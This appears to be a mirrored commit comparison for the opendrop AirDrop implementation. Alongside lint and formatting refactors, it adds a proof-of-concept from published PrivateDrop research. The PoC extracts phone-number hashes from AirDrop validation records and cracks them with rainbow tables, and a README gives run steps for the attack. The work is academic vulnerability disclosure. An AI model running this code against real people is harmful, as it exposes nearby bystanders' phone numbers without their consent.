mirror of
https://github.com/seemoo-lab/opendrop.git
synced 2026-09-14 23:26:11 -04:00
Compare commits
17
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
81ddc07996 | ||
|
|
bc7813bf91 | ||
|
|
8a9bd1f4d5 | ||
|
|
ba550bb468 | ||
|
|
17db506f04 | ||
|
|
6960a97ab8 | ||
|
|
fe99dab664 | ||
|
|
d4f3df70e7 | ||
|
|
d96fa1d7ef | ||
|
|
bf7cea785c | ||
|
|
7db266f089 | ||
|
|
db34b3e349 | ||
|
|
368a8afc8c | ||
|
|
adb658d04d | ||
|
|
91e204f8a2 | ||
|
|
2f0cbe1a8f | ||
|
|
e82ef8ac4a |
@@ -22,6 +22,10 @@ jobs:
|
||||
- name: Install package
|
||||
run: |
|
||||
pip install -e .
|
||||
- name: Check format with isort
|
||||
run: |
|
||||
pip install isort
|
||||
isort -c opendrop/**.py
|
||||
- name: Check format with black
|
||||
run: |
|
||||
pip install black
|
||||
@@ -30,6 +34,10 @@ jobs:
|
||||
run: |
|
||||
pip install flake8
|
||||
flake8 . --count --show-source --statistics
|
||||
- name: Lint with pylint
|
||||
run: |
|
||||
pip install pylint
|
||||
pylint --rcfile=setup.cfg opendrop
|
||||
- name: Test with pytest
|
||||
run: |
|
||||
pip install pytest
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
[submodule "rt_phone_numbers"]
|
||||
path = rt_phone_numbers
|
||||
url = https://github.com/contact-discovery/rt_phone_numbers.git
|
||||
@@ -1,9 +1,9 @@
|
||||
.PHONY: ci checkformat lint test autoformat
|
||||
.PHONY: ci checkformat isort lint pylint test autoformat
|
||||
|
||||
VENV=venv
|
||||
PYTHON=$(VENV)/bin/python3
|
||||
|
||||
ci: checkformat lint test
|
||||
ci: isort checkformat lint pylint test
|
||||
|
||||
$(VENV): $(VENV)/bin/activate
|
||||
|
||||
@@ -23,8 +23,15 @@ checkformat: $(VENV)
|
||||
lint: $(VENV)
|
||||
$(PYTHON) -m flake8 . --count --show-source --statistics --exclude $(VENV)
|
||||
|
||||
pylint: $(VENV)
|
||||
$(PYTHON) -m pylint --rcfile=setup.cfg opendrop
|
||||
|
||||
isort: $(VENV)
|
||||
$(PYTHON) -m isort -c opendrop/**.py
|
||||
|
||||
test: $(VENV)
|
||||
$(PYTHON) -m pytest
|
||||
|
||||
autoformat: $(VENV)
|
||||
$(PYTHON) -m isort opendrop/**.py
|
||||
$(PYTHON) -m black . --exclude $(VENV)
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
# PoC: AirDrop Phone Number Leak
|
||||
|
||||
This PoC demonstrates the contact identifier leakage in Apple AirDrop that was described in
|
||||
|
||||
* **[HHSSW21]** Alexander Heinrich, Matthias Hollick, Thomas Schneider, Milan Stute, and Christian Weinert. **PrivateDrop: Practical Privacy-Preserving Authentication for Apple AirDrop** in _30th USENIX Security Symposium_. [Website](https://privatedrop.github.io). [Preprint](https://www.usenix.org/system/files/sec21fall-heinrich.pdf).
|
||||
|
||||
The paper also proposes a privacy-preserving drop-in replacement for Apple AirDrop.
|
||||
|
||||
**We notified Apple about this vulnerability on May 11, 2019. Until today, Apple has neither mitigated the issue nor informed us that they are planning to do so.
|
||||
This means that current Apple systems are still vulnerable (iOS 14.5 and macOS 11.3 as of May 5, 2021).**
|
||||
|
||||
## Installation
|
||||
|
||||
Run the following instructions on a Mac (tested with macOS 11.2.3).
|
||||
|
||||
1. Checkout the repository.
|
||||
|
||||
```bash
|
||||
git clone https://github.com/seemoo-lab/opendrop.git
|
||||
cd opendrop
|
||||
git checkout poc-phonenumber-leak
|
||||
git submodule update --init
|
||||
```
|
||||
|
||||
2. Install Python dependencies.
|
||||
|
||||
```bash
|
||||
pip3 install -r requirements.txt
|
||||
```
|
||||
|
||||
3. Build [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers).
|
||||
|
||||
```bash
|
||||
brew install libomp
|
||||
cd rt_phone_numbers
|
||||
make -f Makefile.macOS
|
||||
cd ..
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
Our PoC is able to exploit both vulnerabilities explained in [HHSSW21]. We provide usage instructions below.
|
||||
|
||||
**Disclaimer:** We omit precomputed rainbow tables generated with [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers)'s `rtgen` in this PoC.
|
||||
Consequently, you will see the following message when running this PoC without modification: _"Could not recover hashed phone number: No rainbow tables provided."_
|
||||
|
||||
### Contact Identifier Leakage of Sender (§3.3 in [HHSSW21])
|
||||
|
||||
Simply run the following and wait for someone in proximity to open the AirDrop sharing menu.
|
||||
|
||||
```bash
|
||||
python3 -m opendrop receive
|
||||
```
|
||||
|
||||
An example output would look like this:
|
||||
|
||||
```
|
||||
Announcing service: host opendrop, address fe80::c8b9:fbff:fee9:d544, port 8771
|
||||
Starting HTTPS server
|
||||
Nearby phone number: +49<...>
|
||||
```
|
||||
|
||||
### Contact Identifier Leakage of Receiver (§3.4 in [HHSSW21])
|
||||
|
||||
Exploiting this vulnerability requires the victim to have the attacker in their address book.
|
||||
In particular, the attacker needs to present a valid AirDrop certificate containing its contact identifiers to the victim.
|
||||
You can follow [these instructions](https://github.com/seemoo-lab/airdrop-keychain-extractor) to extract your current AirDrop certificate and use it with OpenDrop.
|
||||
This attack does not require any interaction on part of the victim. Simply run:
|
||||
|
||||
```bash
|
||||
python3 -m opendrop find
|
||||
```
|
||||
|
||||
An example output would look like this:
|
||||
|
||||
```
|
||||
Looking for receivers. Press Ctrl+C to stop ...
|
||||
Nearby phone number: +49<...>
|
||||
Found index 0 ID a019b536c38b name John Doe's iPhone
|
||||
```
|
||||
@@ -58,7 +58,7 @@ Sending a file is typically a two-step procedure. You first discover devices in
|
||||
Stop the process once you have found the receiver.
|
||||
```
|
||||
$ opendrop find
|
||||
Looking for receivers. Press enter to stop ...
|
||||
Looking for receivers. Press Ctrl+C to stop ...
|
||||
Found index 0 ID eccb2f2dcfe7 name John’s iPhone
|
||||
Found index 1 ID e63138ac6ba8 name Jane’s MacBook Pro
|
||||
```
|
||||
|
||||
@@ -21,11 +21,11 @@ import logging
|
||||
import os
|
||||
import platform
|
||||
|
||||
__version__ = "0.12.1"
|
||||
__version__ = "0.12.3"
|
||||
|
||||
if platform.system() == "Darwin":
|
||||
dyld_path = os.environ.get("DYLD_LIBRARY_PATH", "") # save old path
|
||||
archive_path = "/usr/local/opt/libarchive/lib"
|
||||
os.environ["DYLD_LIBRARY_PATH"] = "{}:{}".format(dyld_path, archive_path)
|
||||
os.environ["DYLD_LIBRARY_PATH"] = f"{dyld_path}:{archive_path}"
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
+10
-19
@@ -113,18 +113,16 @@ class AirDropCli:
|
||||
self.server.stop()
|
||||
|
||||
def find(self):
|
||||
logger.info("Looking for receivers. Press enter to stop ...")
|
||||
logger.info("Looking for receivers. Press Ctrl+C to stop ...")
|
||||
self.browser = AirDropBrowser(self.config)
|
||||
self.browser.start(callback_add=self._found_receiver)
|
||||
try:
|
||||
input()
|
||||
threading.Event().wait()
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
finally:
|
||||
self.browser.stop()
|
||||
logger.debug(
|
||||
"Save discovery results to {}".format(self.config.discovery_report)
|
||||
)
|
||||
logger.debug(f"Save discovery results to {self.config.discovery_report}")
|
||||
with open(self.config.discovery_report, "w") as f:
|
||||
json.dump(self.discover, f)
|
||||
|
||||
@@ -136,16 +134,12 @@ class AirDropCli:
|
||||
try:
|
||||
address = info.parsed_addresses()[0] # there should only be one address
|
||||
except IndexError:
|
||||
logger.warn("Ignoring receiver with missing address {}".format(info))
|
||||
logger.warning(f"Ignoring receiver with missing address {info}")
|
||||
return
|
||||
id = info.name.split(".")[0]
|
||||
identifier = info.name.split(".")[0]
|
||||
hostname = info.server
|
||||
port = int(info.port)
|
||||
logger.debug(
|
||||
"AirDrop service found: {}, {}:{}, ID {}".format(
|
||||
hostname, address, port, id
|
||||
)
|
||||
)
|
||||
logger.debug(f"AirDrop service found: {hostname}, {address}:{port}, ID {id}")
|
||||
client = AirDropClient(self.config, (address, int(port)))
|
||||
try:
|
||||
flags = int(info.properties[b"flags"])
|
||||
@@ -167,18 +161,16 @@ class AirDropCli:
|
||||
"name": receiver_name,
|
||||
"address": address,
|
||||
"port": port,
|
||||
"id": id,
|
||||
"id": identifier,
|
||||
"flags": flags,
|
||||
"discoverable": discoverable,
|
||||
}
|
||||
self.lock.acquire()
|
||||
self.discover.append(node_info)
|
||||
if discoverable:
|
||||
logger.info(
|
||||
"Found index {} ID {} name {}".format(index, id, receiver_name)
|
||||
)
|
||||
logger.info(f"Found index {index} ID {identifier} name {receiver_name}")
|
||||
else:
|
||||
logger.debug("Receiver ID {} is not discoverable".format(id))
|
||||
logger.debug(f"Receiver ID {identifier} is not discoverable")
|
||||
self.lock.release()
|
||||
|
||||
def receive(self):
|
||||
@@ -209,8 +201,7 @@ class AirDropCli:
|
||||
age = time.time() - os.path.getmtime(self.config.discovery_report)
|
||||
if age > 60: # warn if report is older than a minute
|
||||
logger.warning(
|
||||
"Old discovery report (%.1f seconds), consider running 'opendrop find' again",
|
||||
age,
|
||||
f"Old discovery report ({age:.1f} seconds), consider running 'opendrop find' again"
|
||||
)
|
||||
with open(self.config.discovery_report, "r") as f:
|
||||
infos = json.load(f)
|
||||
|
||||
+29
-23
@@ -28,9 +28,9 @@ from http.client import HTTPSConnection
|
||||
|
||||
import fleep
|
||||
import libarchive
|
||||
from zeroconf import IPVersion, ServiceBrowser, Zeroconf
|
||||
|
||||
from .util import AirDropUtil, AbsArchiveWrite
|
||||
from zeroconf import ServiceBrowser, Zeroconf, IPVersion
|
||||
from .util import AbsArchiveWrite, AirDropUtil
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@@ -41,14 +41,11 @@ class AirDropBrowser:
|
||||
if self.ip_addr is None:
|
||||
if config.interface == "awdl0":
|
||||
raise RuntimeError(
|
||||
"Interface {} does not have an IPv6 address. "
|
||||
"Make sure that `owl` is running.".format(config.interface)
|
||||
f"Interface {config.interface} does not have an IPv6 address. Make sure that `owl` is running."
|
||||
)
|
||||
else:
|
||||
raise RuntimeError(
|
||||
"Interface {} does not have an IPv6 address".format(
|
||||
config.interface
|
||||
)
|
||||
f"Interface {config.interface} does not have an IPv6 address"
|
||||
)
|
||||
|
||||
self.zeroconf = Zeroconf(
|
||||
@@ -76,15 +73,15 @@ class AirDropBrowser:
|
||||
self.browser = None
|
||||
self.zeroconf.close()
|
||||
|
||||
def add_service(self, zeroconf, type, name):
|
||||
info = zeroconf.get_service_info(type, name)
|
||||
logger.debug("Add service {}".format(name))
|
||||
def add_service(self, zeroconf, service_type, name):
|
||||
info = zeroconf.get_service_info(service_type, name)
|
||||
logger.debug(f"Add service {name}")
|
||||
if self.callback_add is not None:
|
||||
self.callback_add(info)
|
||||
|
||||
def remove_service(self, zeroconf, type, name):
|
||||
info = zeroconf.get_service_info(type, name)
|
||||
logger.debug("Remove service {}".format(name))
|
||||
def remove_service(self, zeroconf, service_type, name):
|
||||
info = zeroconf.get_service_info(service_type, name)
|
||||
logger.debug(f"Remove service {name}")
|
||||
if self.callback_remove is not None:
|
||||
self.callback_remove(info)
|
||||
|
||||
@@ -97,10 +94,10 @@ class AirDropClient:
|
||||
self.http_conn = None
|
||||
|
||||
def send_POST(self, url, body, headers=None):
|
||||
logger.debug("Send {} request".format(url))
|
||||
logger.debug(f"Send {url} request")
|
||||
|
||||
AirDropUtil.write_debug(
|
||||
self.config, body, "send_{}_request.plist".format(url.lower().strip("/"))
|
||||
self.config, body, f"send_{url.lower().strip('/')}_request.plist"
|
||||
)
|
||||
|
||||
_headers = self._get_headers()
|
||||
@@ -122,15 +119,15 @@ class AirDropClient:
|
||||
AirDropUtil.write_debug(
|
||||
self.config,
|
||||
response_bytes,
|
||||
"send_{}_response.plist".format(url.lower().strip("/")),
|
||||
f"send_{url.lower().strip('/')}_response.plist",
|
||||
)
|
||||
|
||||
if http_resp.status != 200:
|
||||
status = False
|
||||
logger.debug("{} request failed: {}".format(url, http_resp.status))
|
||||
logger.debug(f"{url} request failed: {http_resp.status}")
|
||||
else:
|
||||
status = True
|
||||
logger.debug("{} request successful".format(url))
|
||||
logger.debug(f"{url} request successful")
|
||||
return status, response_bytes
|
||||
|
||||
def send_discover(self):
|
||||
@@ -138,10 +135,17 @@ class AirDropClient:
|
||||
if self.config.record_data:
|
||||
discover_body["SenderRecordData"] = self.config.record_data
|
||||
|
||||
discover_plist_binary = plistlib.dumps(discover_body, fmt=plistlib.FMT_BINARY)
|
||||
success, response_bytes = self.send_POST("/Discover", discover_plist_binary)
|
||||
discover_plist_binary = plistlib.dumps(
|
||||
discover_body, fmt=plistlib.FMT_BINARY # pylint: disable=no-member
|
||||
)
|
||||
_, response_bytes = self.send_POST("/Discover", discover_plist_binary)
|
||||
response = plistlib.loads(response_bytes)
|
||||
|
||||
# Extract and lookup phone number hashes from validation record
|
||||
validation_record = response["ReceiverRecordData"]
|
||||
hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
|
||||
AirDropUtil.lookup_phone_hashes(hashes)
|
||||
|
||||
# if name is returned, then receiver is discoverable
|
||||
return response.get("ReceiverComputerName")
|
||||
|
||||
@@ -183,7 +187,9 @@ class AirDropClient:
|
||||
ask_body["Files"] = [e for e in file_entries(file_path)]
|
||||
ask_body["Items"] = []
|
||||
|
||||
ask_binary = plistlib.dumps(ask_body, fmt=plistlib.FMT_BINARY)
|
||||
ask_binary = plistlib.dumps(
|
||||
ask_body, fmt=plistlib.FMT_BINARY # pylint: disable=no-member
|
||||
)
|
||||
success, _ = self.send_POST("/Ask", ask_binary)
|
||||
|
||||
return success
|
||||
@@ -247,7 +253,7 @@ class HTTPSConnectionAWDL(HTTPSConnection):
|
||||
*,
|
||||
context=None,
|
||||
check_hostname=None,
|
||||
interface_name=None
|
||||
interface_name=None,
|
||||
):
|
||||
|
||||
if interface_name is not None:
|
||||
@@ -290,7 +296,7 @@ class HTTPSConnectionAWDL(HTTPSConnection):
|
||||
host, port = address
|
||||
err = None
|
||||
for res in socket.getaddrinfo(host, port, 0, socket.SOCK_STREAM):
|
||||
af, socktype, proto, canonname, sa = res
|
||||
af, socktype, proto, _, sa = res
|
||||
sock = None
|
||||
try:
|
||||
sock = socket.socket(af, socktype, proto)
|
||||
|
||||
+8
-8
@@ -81,9 +81,7 @@ class AirDropConfig:
|
||||
self.port = server_port
|
||||
|
||||
if service_id is None:
|
||||
service_id = "{0:0{1}x}".format(
|
||||
random.randint(0, 0xFFFFFFFFFFFF), 12
|
||||
) # random 6-byte string in base16
|
||||
service_id = f"{random.randint(0, 0xFFFFFFFFFFFF):012x}" # random 6-byte string in base16
|
||||
self.service_id = service_id
|
||||
|
||||
self.debug = debug
|
||||
@@ -109,7 +107,7 @@ class AirDropConfig:
|
||||
self.root_ca_file = resource_filename("opendrop", "certs/apple_root_ca.pem")
|
||||
if not os.path.exists(self.root_ca_file):
|
||||
raise FileNotFoundError(
|
||||
"Need Apple root CA certificate: {}".format(self.root_ca_file)
|
||||
f"Need Apple root CA certificate: {self.root_ca_file}"
|
||||
)
|
||||
|
||||
self.key_dir = os.path.join(self.airdrop_dir, "keys")
|
||||
@@ -130,7 +128,7 @@ class AirDropConfig:
|
||||
logger.debug("No Apple ID Validation Record found")
|
||||
|
||||
def create_default_key(self):
|
||||
logger.info("Create new self-signed certificate in {}".format(self.key_dir))
|
||||
logger.info(f"Create new self-signed certificate in {self.key_dir}")
|
||||
if not os.path.exists(self.key_dir):
|
||||
os.makedirs(self.key_dir)
|
||||
subprocess.run(
|
||||
@@ -148,17 +146,19 @@ class AirDropConfig:
|
||||
"-out",
|
||||
"certificate.pem",
|
||||
"-subj",
|
||||
"/CN={}".format(self.computer_name),
|
||||
f"/CN={self.computer_name}",
|
||||
],
|
||||
cwd=self.key_dir,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
check=True,
|
||||
)
|
||||
|
||||
def get_ssl_context(self):
|
||||
ctx = ssl.SSLContext(
|
||||
|
||||
ctx = ssl.SSLContext( # lgtm[py/insecure-protocol], TODO see https://github.com/Semmle/ql/issues/2554
|
||||
ssl.PROTOCOL_TLS
|
||||
) # lgtm[py/insecure-protocol], TODO see https://github.com/Semmle/ql/issues/2554
|
||||
)
|
||||
ctx.options |= ssl.OP_NO_TLSv1 # TLSv1.0 is insecure
|
||||
ctx.load_cert_chain(self.cert_file, keyfile=self.key_file)
|
||||
ctx.load_verify_locations(cafile=self.root_ca_file)
|
||||
|
||||
+23
-23
@@ -23,14 +23,14 @@ import platform
|
||||
import plistlib
|
||||
import socket
|
||||
import time
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
|
||||
import libarchive
|
||||
import libarchive.extract
|
||||
import libarchive.read
|
||||
from zeroconf import IPVersion, ServiceInfo, Zeroconf
|
||||
|
||||
from .util import AirDropUtil
|
||||
from zeroconf import Zeroconf, ServiceInfo, IPVersion
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@@ -54,14 +54,11 @@ class AirDropServer:
|
||||
if self.ip_addr is None:
|
||||
if self.config.interface == "awdl0":
|
||||
raise RuntimeError(
|
||||
"Interface {} does not have an IPv6 address. "
|
||||
"Make sure that `owl` is running.".format(self.config.interface)
|
||||
f"Interface {self.config.interface} does not have an IPv6 address. Make sure that `owl` is running."
|
||||
)
|
||||
else:
|
||||
raise RuntimeError(
|
||||
"Interface {} does not have an IPv6 address".format(
|
||||
self.config.interface
|
||||
)
|
||||
f"Interface {self.config.interface} does not have an IPv6 address"
|
||||
)
|
||||
|
||||
self.Handler = AirDropServerHandler
|
||||
@@ -92,9 +89,7 @@ class AirDropServer:
|
||||
|
||||
def start_service(self):
|
||||
logger.info(
|
||||
"Announcing service: host {}, address {}, port {}".format(
|
||||
self.config.host_name, self.ip_addr, self.config.port
|
||||
)
|
||||
f"Announcing service: host {self.config.host_name}, address {self.ip_addr}, port {self.config.port}"
|
||||
)
|
||||
self.zeroconf.register_service(self.service_info)
|
||||
|
||||
@@ -162,7 +157,7 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
|
||||
"""
|
||||
Answer get requests
|
||||
"""
|
||||
logger.debug("GET request at {}".format(self.path))
|
||||
logger.debug(f"GET request at {self.path}")
|
||||
body = "\n".encode("utf-8")
|
||||
self._set_response(len(body))
|
||||
self.wfile.write(body)
|
||||
@@ -175,6 +170,12 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
|
||||
self.config, post_data, "receive_discover_request.plist"
|
||||
)
|
||||
|
||||
# Extract and lookup phone number hashes from validation record
|
||||
discover_request = plistlib.loads(post_data)
|
||||
validation_record = discover_request["SenderRecordData"]
|
||||
hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
|
||||
AirDropUtil.lookup_phone_hashes(hashes)
|
||||
|
||||
# sample media capabilities as recorded from macOS 10.13.3
|
||||
media_capabilities = {
|
||||
"Version": 1,
|
||||
@@ -215,7 +216,7 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
|
||||
discover_answer["ReceiverRecordData"] = self.config.record_data
|
||||
|
||||
discover_answer_binary = plistlib.dumps(
|
||||
discover_answer, fmt=plistlib.FMT_BINARY
|
||||
discover_answer, fmt=plistlib.FMT_BINARY # pylint: disable=no-member
|
||||
)
|
||||
|
||||
AirDropUtil.write_debug(
|
||||
@@ -236,7 +237,9 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
|
||||
"ReceiverModelName": self.config.computer_model,
|
||||
"ReceiverComputerName": self.config.computer_name,
|
||||
}
|
||||
ask_resp_binary = plistlib.dumps(ask_response, fmt=plistlib.FMT_BINARY)
|
||||
ask_resp_binary = plistlib.dumps(
|
||||
ask_response, fmt=plistlib.FMT_BINARY # pylint: disable=no-member
|
||||
)
|
||||
|
||||
AirDropUtil.write_debug(
|
||||
self.config, ask_resp_binary, "receive_ask_response.plist"
|
||||
@@ -248,7 +251,7 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
|
||||
def handle_upload(self):
|
||||
if self.headers.get("content-type", "").lower() != "application/x-cpio":
|
||||
logger.warning(
|
||||
"Unsupported content-type: {}".format(self.headers.get("content-type"))
|
||||
f"Unsupported content-type: {self.headers.get('content-type')}"
|
||||
)
|
||||
self.send_response(406) # Unprocessable Entity
|
||||
self.send_header("Content-Type", "application/x-cpio")
|
||||
@@ -309,9 +312,7 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
|
||||
transferred = reader.total / 1024.0 / 1024.0
|
||||
speed = transferred / (time.time() - start)
|
||||
logger.info(
|
||||
"File(s) received (size {:.02f} MB, speed {:.02f} MB/s)".format(
|
||||
transferred, speed
|
||||
)
|
||||
f"File(s) received (size {transferred:.02f} MB, speed {speed:.02f} MB/s)"
|
||||
)
|
||||
|
||||
self.send_response(200)
|
||||
@@ -324,8 +325,8 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
|
||||
Handle post requests
|
||||
"""
|
||||
|
||||
logger.debug("POST request at {}".format(self.path))
|
||||
logger.debug("Headers\n{}".format(self.headers))
|
||||
logger.debug(f"POST request at {self.path}")
|
||||
logger.debug(f"Headers\n{self.headers}")
|
||||
|
||||
if self.path == "/Discover":
|
||||
self.handle_discover()
|
||||
@@ -334,14 +335,13 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
|
||||
elif self.path == "/Upload":
|
||||
self.handle_upload()
|
||||
else:
|
||||
logger.debug("POST request at {}".format(self.path))
|
||||
logger.debug(f"POST request at {self.path}")
|
||||
self.send_response(400)
|
||||
self.send_header("Content-Length", 0)
|
||||
self.end_headers()
|
||||
|
||||
def log_message(self, format, *args):
|
||||
# pylint: disable=redefined-builtin
|
||||
logger.debug(
|
||||
"{} - - [{}] {}".format(
|
||||
self.client_address[0], self.log_date_time_string(), format % args
|
||||
)
|
||||
f"{self.client_address[0]} - - [{self.log_date_time_string()}] {format % args}"
|
||||
)
|
||||
|
||||
+57
-18
@@ -17,29 +17,29 @@ You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
"""
|
||||
|
||||
import base64
|
||||
import datetime
|
||||
import hashlib
|
||||
import glob
|
||||
import io
|
||||
import ipaddress
|
||||
import os
|
||||
import plistlib
|
||||
import subprocess
|
||||
|
||||
import ifaddr
|
||||
from PIL import Image, ExifTags
|
||||
from libarchive import ffi
|
||||
from libarchive.entry import new_archive_entry, ArchiveEntry
|
||||
from libarchive.ffi import (
|
||||
from ctypescrypto import cms
|
||||
from libarchive.entry import ArchiveEntry, new_archive_entry
|
||||
from libarchive.ffi import ( # pylint: disable=no-name-in-module
|
||||
ARCHIVE_EOF,
|
||||
entry_sourcepath,
|
||||
entry_clear,
|
||||
read_next_header2,
|
||||
entry_sourcepath,
|
||||
read_disk_descend,
|
||||
write_header,
|
||||
read_next_header2,
|
||||
write_data,
|
||||
write_finish_entry,
|
||||
write_get_bytes_per_block,
|
||||
write_header,
|
||||
)
|
||||
from libarchive.write import ArchiveWrite, new_archive_read_disk
|
||||
from PIL import ExifTags, Image
|
||||
|
||||
|
||||
class AirDropUtil:
|
||||
@@ -104,7 +104,7 @@ class AirDropUtil:
|
||||
try:
|
||||
exif = dict(
|
||||
(ExifTags.TAGS[k], v)
|
||||
for k, v in im._getexif().items()
|
||||
for k, v in im._getexif().items() # pylint: disable=protected-access
|
||||
if k in ExifTags.TAGS
|
||||
)
|
||||
angles = {3: 180, 6: 270, 8: 90}
|
||||
@@ -116,15 +116,15 @@ class AirDropUtil:
|
||||
|
||||
# Big image
|
||||
im.thumbnail((540, 540), Image.ANTIALIAS)
|
||||
imgByteArr = io.BytesIO()
|
||||
im.save(imgByteArr, format="JPEG2000")
|
||||
file_icon = imgByteArr.getvalue()
|
||||
img_bytes = io.BytesIO()
|
||||
im.save(img_bytes, format="JPEG2000")
|
||||
file_icon = img_bytes.getvalue()
|
||||
|
||||
# Small image
|
||||
# im.thumbnail((64, 64), Image.ANTIALIAS)
|
||||
# imgByteArr = io.BytesIO()
|
||||
# im.save(imgByteArr, format='JPEG2000')
|
||||
# small_file_icon = imgByteArr.getvalue()
|
||||
# img_bytes = io.BytesIO()
|
||||
# im.save(img_bytes, format='JPEG2000')
|
||||
# small_file_icon = img_bytes.getvalue()
|
||||
|
||||
return file_icon
|
||||
|
||||
@@ -172,6 +172,45 @@ class AirDropUtil:
|
||||
else: # assume bytes-like
|
||||
file.write(data)
|
||||
|
||||
@staticmethod
|
||||
def get_hashes_from_validation_record(validation_record):
|
||||
data = cms.CMS(validation_record, format="DER").data
|
||||
data = plistlib.loads(data.encode())
|
||||
phone_hashes = data["ValidatedPhoneHashes"]
|
||||
return phone_hashes
|
||||
|
||||
@staticmethod
|
||||
def lookup_phone_hashes(hashes):
|
||||
for hash_ in hashes:
|
||||
AirDropUtil.lookup_phone_hash(hash_)
|
||||
|
||||
@staticmethod
|
||||
def lookup_phone_hash(hash_):
|
||||
rcrack_dir = os.path.join(
|
||||
os.path.dirname(os.path.realpath(__file__)), "../rt_phone_numbers/bin"
|
||||
)
|
||||
rcrack_bin = os.path.join(rcrack_dir, "rcrack")
|
||||
rcrack_table = ""
|
||||
rcrack_tables = glob.glob(rcrack_table)
|
||||
|
||||
if len(rcrack_tables) == 0:
|
||||
print("Could not recover hashed phone number: No rainbow tables provided.")
|
||||
return
|
||||
|
||||
result = subprocess.run(
|
||||
[rcrack_bin] + rcrack_tables + ["-h", hash_],
|
||||
text=True,
|
||||
cwd=rcrack_dir,
|
||||
capture_output=True,
|
||||
check=True,
|
||||
)
|
||||
|
||||
for line in result.stdout.splitlines():
|
||||
if not line.startswith("plaintext of"):
|
||||
continue
|
||||
number = line.split("is")[1].strip()
|
||||
print(f"Nearby phone number: +{number}")
|
||||
|
||||
|
||||
class AbsArchiveWrite(ArchiveWrite):
|
||||
def add_abs_file(self, path, store_path):
|
||||
@@ -180,7 +219,7 @@ class AbsArchiveWrite(ArchiveWrite):
|
||||
"""
|
||||
write_p = self._pointer
|
||||
|
||||
block_size = ffi.write_get_bytes_per_block(write_p)
|
||||
block_size = write_get_bytes_per_block(write_p)
|
||||
if block_size <= 0:
|
||||
block_size = 10240 # pragma: no cover
|
||||
|
||||
|
||||
@@ -1,4 +1,6 @@
|
||||
black
|
||||
flake8
|
||||
flake8-bugbear
|
||||
isort
|
||||
pylint
|
||||
pytest
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
Pillow
|
||||
ctypescrypto
|
||||
fleep
|
||||
ifaddr
|
||||
libarchive-c
|
||||
requests
|
||||
requests_toolbelt
|
||||
zeroconf>=0.24.2
|
||||
Submodule
+1
Submodule rt_phone_numbers added at b8986d1a20
@@ -2,4 +2,16 @@
|
||||
extend-ignore = E203, E501
|
||||
max-line-length = 80
|
||||
max-complexity = 18
|
||||
select = B9
|
||||
select = B9
|
||||
|
||||
[isort]
|
||||
multi_line_output = 3
|
||||
include_trailing_comma = True
|
||||
force_grid_wrap = 0
|
||||
use_parentheses = True
|
||||
ensure_newline_before_comments = True
|
||||
line_length = 88
|
||||
|
||||
[pylint]
|
||||
disable = C, R, W0511, W1203
|
||||
max-line-length = 88
|
||||
Reference in New Issue
Block a user